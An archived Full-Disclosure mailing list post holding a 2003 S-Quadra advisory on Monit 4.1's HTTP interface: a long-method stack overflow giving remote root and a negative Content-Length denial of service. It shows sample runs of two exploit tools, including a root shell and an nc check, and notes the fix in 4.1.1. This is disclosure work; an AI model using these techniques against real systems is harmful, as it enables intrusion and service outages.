lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 24 Nov 2003 16:20:19 +0300
From: S-Quadra Security Research <>
To: full-disclosure <>,
Subject: Monit 4.1 HTTP interface multiple security vulnerabilities

            S-Quadra Advisory #2003-11-24

Topic: Monit 4.1 HTTP interface Multiple Security Vulnerabilities
Severity: High
Vendor URL:
Advisory URL:
Release date: 22 Nov 2003


Monit ( is a utility for managing and 
monitoring, processes, files, directories and devices on a Unix system.
It conducts automatic maintenance and repair and can execute meaningful 
causal actions in error situations.
Monit provides a HTTP(S) interface and you can use a browser to access 
the monit server.

There exists several security vulnerabilites in Monit HTTP interface, 
which could allow an attacker
in the worst case to gain root access to the system.


-- Vulnerability 1: Long http method stack overflow

By supplying an overly large http request method and attacker could 
trigger a stack overflow condition which may lead to a remote root 
Below is a successfull run of 'xonya' Monit <= 4.1 remote root exploit 

$./xonya -t 3 -p 2812

Selected platform 3 ...
Retaddr is 0xXXXXXXXX, nulladdr is 0xXXXXXXXX ...
Connected to
Sending the request ...
Got a remote shell:

Linux 2.4.20 i686 unknown
uid=0(root) gid=0(root) 

-- Vulnerability 2: Denial of Service via negative Content-Length field

By supplying a negative value in Content-Length header an attacker could 
cause a xmalloc() failure and kill a Monit daemon.
Below is a successfull run of 'donit' Monit <= 4.1 remote Denial of 
Service exploit (PoC):

$./donit -p 2812

Connecting to ...
Sending the request ...

$ nc -v 2812 [] 2812 (?) : Connection refused


S-Quadra alerted Monit development team to this issue on 21th November 2003.
New version of Monit 4.1.1 is available at which fixes the 
reported security vulnerabilities.


Evgeny Legerov <> is responsible for discovering 
this issue.


S-Quadra offers services in computer security, penetration testing and 
network assesment,
web application security, source code review and third party product 
vulnerability assesment,
forensic support and reverse engineering.

Security is an art and our goal is to bring responsible and high quality 
service to the IT market, customized to meet the unique needs of each 
individual client.

S-Quadra, (pronounced es quadra), is not an acronym.
It's unique, creative and innovative - just like the security services 
we bring to our clients.

            S-Quadra Advisory #2003-11-24

Full-Disclosure - We believe in it.

Powered by blists - more mailing lists